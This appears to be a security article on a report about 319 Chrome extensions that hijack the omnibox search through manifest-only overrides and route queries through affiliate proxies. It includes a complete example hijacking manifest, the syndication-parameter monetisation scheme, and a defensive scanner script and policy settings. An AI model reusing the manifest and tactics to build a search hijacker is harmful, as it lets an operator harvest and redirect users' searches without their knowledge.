Searchjacking: How 319 Chrome Extensions Routed 13.4 Million Users’ Searches Through Ad-Tech Proxies

Security teams have spent years judging browser extensions by one signal: the permissions they request. An add-on that asks for <all_urls>, webRequest, cookies, or tabs gets flagged by static analysis and blocked by enterprise administrators. On October 29, 2026, Socket researcher John Tuckner published an investigation titled “Searchjacked” showing why that model fails against modern browser monetization.

The report extends Socket’s April 2025 research, which identified 57 extensions with roughly 6 million users. Tuckner documented 264 more extensions with another 8.7 million installs. Across all 319 extensions, some dating back to 2016, about 13.4 million users had their default search engine swapped and every address-bar query sent through operator-controlled proxy servers before it reached Yahoo or Bing.

Zero-code extensions that pass every static scan

The most instructive detail is what these extensions leave out. Many of the packages in Socket’s dataset contain no executable JavaScript at all. They have no background service worker, inject no content scripts, show no toolbar popup, and declare an empty permissions array. In several cases the entire unpacked archive is three PNG icons and a 30-line manifest.json.

Static analyzers hunt for obfuscated eval() calls, suspicious fetch() hooks, and credential-harvesting listeners. With no runtime script to inspect, these packages come back clean. The interception runs through a declarative configuration key built into Chromium, which turns a legitimate customization API into an unmonitored traffic distribution layer.

How chrome_settings_overrides replaces the Chrome omnibox

Chromium-based browsers let extensions change a narrow set of user preferences without running code, through the chrome_settings_overrides manifest key. It was introduced so search providers and utility developers could customize the homepage, startup pages, and default search provider in a standardized way. It works at the browser configuration layer, below JavaScript execution.

When an extension declares a search_provider object inside chrome_settings_overrides and sets "is_default": true, Chromium rebinds the omnibox (the combined address and search bar) to the URL template in the manifest.

Tuckner used an extension called “Safe Game Search” (short name “Game Safe Search”) to show how little code the hijack needs. Its Chrome Web Store description promised “real-time safety alerts,” yet the archive held no logic that could evaluate a page or display an alert. Its manifest relied entirely on the override schema:

json

{
  "manifest_version": 3,
  "name": "Safe Game Search",
  "short_name": "Game Safe Search",
  "description": "Real-time safety alerts and secure game search.",
  "version": "1.0.2",
  "icons": {
    "16": "icons/icon16.png",
    "48": "icons/icon48.png",
    "128": "icons/icon128.png"
  },
  "chrome_settings_overrides": {
    "search_provider": {
      "name": "Safe Game Search",
      "keyword": "safegamesearch",
      "search_url": "https://search.safesearchgame.com/query?q={searchTerms}",
      "suggest_url": "https://suggest.safesearchgame.com/autocomplete?query={searchTerms}",
      "favicon_url": "https://search.safesearchgame.com/favicon.ico",
      "encoding": "UTF-8",
      "is_default": true
    }
  }
}

Why suggest_url leaks data before you press Enter

Two fields do the work: search_url and suggest_url. When a user types a query and presses Enter, Chrome swaps the {searchTerms} token for the URL-encoded string and sends an HTTP GET request to search.safesearchgame.com.

The suggest_url field is more invasive, because the user never has to press Enter. As characters are typed, Chrome’s autocomplete fires requests to that endpoint to fetch dropdown predictions. An employee who starts typing an internal hostname, a private URL, a password pasted into the address bar by mistake, or a confidential research query sends those partial strings to the operator’s infrastructure over TLS, before they realize the bar treats the text as a search.

What Chrome shows at install time, and why the setting sticks

Chrome does show a dialog saying the extension will “Change your search settings to:” followed by a name or domain. The prompt does not reveal the raw search_url, and it does not say queries will pass through a third-party proxy before landing on a familiar engine like Yahoo or Bing.

After the user clicks “Add extension” (or ignores the “Change back to Google” toast on the first search), the extension holds the default search provider slot in chrome://settings/search. Someone who opens settings to switch back to Google or DuckDuckGo finds the dropdown disabled, with an icon showing that an extension controls it. The override survives browser restarts, and it follows the user to other machines when Chrome Sync is enabled for extensions, until they find and uninstall the extension responsible.

The traffic distribution system behind the proxy

An operator who only wanted affiliate payouts could hardcode a Yahoo or Bing URL with tracking parameters into search_url. That would create two problems. It would expose the operator’s syndication partner ID to anyone running static analysis on the Chrome Web Store catalog, and it would tie the extension to a single partner account. If Yahoo or Microsoft terminated that ID for policy violations, the installed base would stop earning overnight, and fixing it would mean shipping a manifest update through the store’s review queue.

Pointing search_url at an operator-controlled proxy solves both. The extension becomes a thin client for a server-side traffic distribution system (TDS). When a query reaches the proxy, the backend checks the source IP, geolocation, User-Agent string, query keywords, request frequency, and any tracking cookies or URL tokens. It then answers with an HTTP 302 or 307 redirect to wherever that request is most profitable.

Predator Search: one extension, four routing outcomes

Socket tested an extension called Predator Search (Chrome Web Store ID odkcfoohjiicbelloepgcomekdknchjh), which had roughly 50,000 active users. Tuckner sent six identical queries through its proxy and saw four different outcomes, with no change to the local extension code:

1. A direct redirect to Yahoo Search with the operator’s affiliate parameters (hspart=sz&hsimp=yhs-026).
2. A redirect to a custom search landing page hosted on searchlio.net.
3. A chain through searchtosearch.com, then a second intermediate results domain (mcftink.com), and finally Yahoo Search.
4. A Cloudflare error page, returned when an upstream syndication broker failed to respond.

Elsewhere in the dataset, researchers saw proxies send repeated or automated-looking queries straight to Google’s clean homepage with no affiliate tags. That works as an anti-analysis measure against researchers and store reviewers who test an extension by typing “test” into the address bar a few times in a sandbox.

A watering hole with millions of endpoints

Tuckner calls the architecture a “profitable watering hole.” The baseline business is search syndication arbitrage, but the operator controls every redirect. Because the routing logic sits on the server, an operator with millions of endpoints can read queries in transit and divert the valuable ones. A search for a cryptocurrency exchange login, a corporate VPN portal, or an installer such as “PuTTY download” or “7-Zip” could go to a credential-harvesting clone or a malware dropper, while ordinary queries keep flowing to Bing or Yahoo.

Socket said it saw no active malware delivery during its October 2026 testing window. The infrastructure needed for selective search poisoning is already running across millions of browsers.

Search syndication economics: how hspart, hsimp, and PC pay out

Yahoo and Microsoft (through Bing) both run legitimate search syndication and publisher partner programs. They are meant for software vendors, custom browser developers, and web portals that put a search box in front of users. In return for search volume, the engine shares pay-per-click advertising revenue from the results pages with the referring partner.

Attribution depends on query parameters added to the request when it reaches the search engine’s edge servers:

• Yahoo uses hspart (Hosted Search Partner) to identify the main syndication partner or sub-syndication aggregator, and hsimp (Hosted Search Implementation) to track the channel, campaign, or toolbar implementation. An example is https://search.yahoo.com/yhs/search?hspart=sz&hsimp=yhs-026&p={searchTerms}.
• Microsoft Bing uses the PC (Partner Code) parameter, such as the PC=INES* patterns in Socket’s dataset, along with PTAG or FORM sub-identifiers, to credit the affiliate supplying the traffic.

As the major engines tighten compliance rules for direct partners, the searchjacking ecosystem has moved to multi-tier sub-syndication. A primary holder with an approved Yahoo or Microsoft contract often leases sub-IDs (hsimp or PTAG values) to downstream traffic brokers. Those brokers send traffic from clusters of Chrome extensions through their proxies, which strips the HTTP Referer header and normalizes request metadata before handing the user to Yahoo or Bing.

The proxy also does bookkeeping. By logging every outbound query at the intermediary hop, the extension publisher keeps an independent ledger of referred searches, which lets them check that the upstream aggregator is not skimming payouts.

Search telemetry as a side product

Each query reaches the operator’s server with the client’s IP address, and often with a unique installation UUID added during the extension’s onboarding flow. Over weeks or months that builds a longitudinal profile of each user: medical symptom lookups, signs of financial trouble, tax questions, internal project names, and network troubleshooting strings. It could be sold to data brokers without ever triggering a browser permission warning.

Who is behind the 319 extensions

Socket combined Chrome Web Store metadata, external privacy policies, advertising intelligence from Google Ads Transparency and DecryptAds, and infrastructure mapping from Censys and urlscan.io. Of the 319 extensions, 200 (about 5.68 million users) tied back to identifiable corporate entities. The other 119 (about 7.76 million users) belonged to unattributed clusters behind privacy-protected domain registrations.

The unlisted Chrome Web Store funnel

A central finding is how operators use the Chrome Web Store’s “Unlisted” visibility setting. Google hosts and signs an unlisted extension on chromewebstore.google.com, so the install page carries the authority of the official marketplace, including the standard blue “Add to Chrome” button. Unlisted extensions are left out of store search results and public category indexes, though. Only someone with the exact 32-character extension ID or a direct link can see the listing, so researchers and moderators cannot find clusters by searching for terms like “PDF converter” or “Manual finder.”

To send 13.4 million users to those URLs, operators rely on high-volume malvertising and gray-market ad networks, specifically Google Ads and Bidbrain. Users meet pop-overs, pop-unders, and fake download buttons on content farms, recipe sites, and low-tier monetized blogs. The ads pitch a single quick task: converting a document to PDF, downloading an appliance manual, checking the weather, tracking a UPS or USPS package, or running an AI search. A click leads to a single-button landing page that redirects to the unlisted store page.

Pivoting through Google Ads Transparency from the landing page domain getsimplepdfsearch.com, Socket traced about 400 ads for that one domain to an advertiser registered as BrightWorks Technology LLC. That advertiser had run over 3,000 ads across Google’s network promoting deceptive extension downloads.

Intango LTD: 111 extensions and about 2.19 million users

The Israeli ad-tech firm Intango LTD, active in this area since 2018, was linked to roughly 111 extensions, including Search Direct (ejhbmoemjkfjmbpkfdnpnffefpikdbjo), spread across about 279 domains. To keep the extensions from clustering and to limit takedown risk, Intango gave each one its own domain, landing page, and administrative mailbox, so they look like unrelated indie developers while all feeding one shared backend partner account.

Google removed 12 Intango extension IDs before the report was published, but their proxy domains stayed live to serve browsers that already had them installed. Socket also found three weather-themed extensions (Get Weather Today, about 80,000 users) published by BrightWorks / SilverEdge that earned money through Intango’s Yahoo syndication account.

The SecuryBrowse cluster: 58 extensions and about 4.90 million users

This unattributed group appeared prominently in a 2024 wave and has kept growing. It published 58 security-themed extensions under names such as Fire Shield, Wise Ghost, Securify, Protecto, and WatchTower. Unlike the zero-permission manifests seen elsewhere in the report, these extensions often requested broad host and browser permissions alongside their search overrides, with search interception hidden behind security branding.

The Bing-Search cluster: 37 extensions and about 2.21 million users

Launched in April 2025, the month Socket released its first search-hijacking report, this unattributed operator focused on Microsoft Bing syndication and promoted its extensions heavily through Bidbrain. Its WHOIS records are redacted and its privacy policies stripped. The cluster posed as 15 independent Chrome Web Store publishers, but the accounts pushed synchronized code updates within the same four-day window in June 2026, and every extension used identical Bing partner tags. That points to a single actor.

Free Planet VPN and the smaller operators

Socket tied one extension, Free Planet VPN (Free Planet VPN S.R.L.), to 2 million affected users, and commercial aggregators account for about 3.05 million users in total. The rest of the dataset includes:

• HermesTab: 2 extensions, 400,000 users
• Kinner Lake Ltd: 6 extensions, 300,000 users
• An unattributed Yandex search hijacker: 1 extension, 200,000 users, routing through extension-search.online
• Capital Intellect, Inc. / BeFrugal: 2 extensions, 50,000 users
• Tightrope Interactive: 18 extensions
• System1: 9 extensions
• Perion Network: 4 extensions

Across the full set, the same everyday utility names kept showing up as lures: AI Search (hafopimgnfgldhglebdnjjdbckahalmo), Simple PDF Search (emkagjbnabikkibhclebiibndffkjiho), Lucky PDF Converter (pedfjomhepkpjnninjbgancbgjcncjim), Manuals Finder (kgnbacedenioohodehbdcjboimacjpih), Package Tracking (epmbfbejbjifjdikfmgmnlmmhaflbggk), Incognito Search Helper (iiacojpoloobeeibmnlihiodpiijghln), and AnswerBuddy (mbdppfboghpbddffcoheifgmbnbcicha).

How to detect search hijacker extensions

Permission-based tools miss extensions that rely only on chrome_settings_overrides, so defenders need to detect by configuration and network telemetry instead of capability scoring.

Audit installed extensions on endpoints

Every installed Chrome extension unpacks its manifest.json into the local profile directory:

• Windows: %LocalAppData%\Google\Chrome\User Data\Default\Extensions\
• macOS: ~/Library/Application Support/Google/Chrome/Default/Extensions/
• Linux: ~/.config/google-chrome/Default/Extensions/

EDR agents or IT administrators can run the following Python script across workstation profiles to parse each installed manifest and list extensions that declare a search_provider override:

python

import json
import os
import glob
import platform
def get_chrome_userdata_path():
    system = platform.system()
    home = os.path.expanduser("~")
    if system == "Windows":
        return os.path.join(os.environ.get("LOCALAPPDATA", ""), "Google", "Chrome", "User Data")
    elif system == "Darwin":
        return os.path.join(home, "Library", "Application Support", "Google", "Chrome")
    else:
        return os.path.join(home, ".config", "google-chrome")
def scan_for_search_overrides():
    base_path = get_chrome_userdata_path()
    if not os.path.exists(base_path):
        print(f"Chrome User Data path not found: {base_path}")
        return
    manifest_pattern = os.path.join(base_path, "*", "Extensions", "*", "*", "manifest.json")
    for manifest_path in glob.glob(manifest_pattern):
        try:
            with open(manifest_path, "r", encoding="utf-8", errors="ignore") as f:
                data = json.load(f)
            overrides = data.get("chrome_settings_overrides", {})
            search_prov = overrides.get("search_provider")
            if search_prov:
                parts = manifest_path.split(os.sep)
                ext_id = parts[-3]
                profile = parts[-5]
                print(f"[!] Search Override Detected | Profile: {profile} | ID: {ext_id}")
                print(f"    Name:        {data.get('name')}")
                print(f"    Search URL:  {search_prov.get('search_url')}")
                print(f"    Suggest URL: {search_prov.get('suggest_url')}")
                print(f"    Permissions: {data.get('permissions', [])}\n")
        except Exception:
            continue
if __name__ == "__main__":
    scan_for_search_overrides()

Treat any extension whose search_url or suggest_url points to a domain outside the main search providers (google.com, bing.com, duckduckgo.com, search.yahoo.com, search.brave.com, ecosia.org, kagi.com) as an active search hijacker, especially when its permissions list is empty.

Hunt in DNS and secure web gateway logs

On managed networks, searchjacking leaves a recognizable pattern in DNS logs and Secure Web Gateway or TLS proxy telemetry. A normal omnibox search goes straight to the organization’s standard search provider. A hijacked browser instead sends an HTTPS GET with a ?q= or ?query= parameter to an unfamiliar domain. Within 50 to 300 milliseconds, it follows with a DNS lookup and HTTPS connection to search.yahoo.com (with hspart= and hsimp= in the URI) or www.bing.com (with PC= and PTAG=).

Frequent DNS lookups to unfamiliar suggest.* subdomains while users type in the address bar are a reliable sign of suggest_url keystroke interception.

How to block searchjacking with Chrome Enterprise policies

Asking users to check chrome://settings/search and remove rogue extensions from chrome://extensions does not scale. Removing an extension without checking sync settings or secondary profiles can also let the hijacker come back. Two Chrome Enterprise policy settings, applied through Group Policy (GPO) or an MDM configuration profile, shut down the chrome_settings_overrides vector.

Lock the default search provider

Set DefaultSearchProviderEnabled to true and define DefaultSearchProviderSearchURL explicitly, along with DefaultSearchProviderSuggestURL. A typical Google value is {google:baseURL}search?q={searchTerms}&{google:RLZ}{google:originalQueryForSuggestion}{google:assistedQueryStats}{google:searchFieldtrialParameter}{google:searchClient}{google:sourceId}{google:instantExtendedEnabledParameter}ie={inputEncoding}. Administrator policy takes precedence over extension manifests, so Chromium ignores the override even if a user installs an extension that contains a chrome_settings_overrides block.

Switch from blocklists to allowlists

Blocking 319 extension IDs through ExtensionInstallBlocklist is a losing game against operators like Intango and BrightWorks, who rotate domains and publish new unlisted packages weekly. Set ExtensionInstallBlocklist to ["*"] for a default-deny posture, and approve vetted business tools one by one through ExtensionInstallAllowlist.

The takeaway for defenders

An extension can compromise privacy without injecting scripts, reading DOM nodes, or asking for alarming permissions. As long as the Chrome Web Store allows unlisted, zero-code packages to rebind the default search engine to arbitrary proxies, a clean permission prompt will keep serving as cover for commercial surveillance.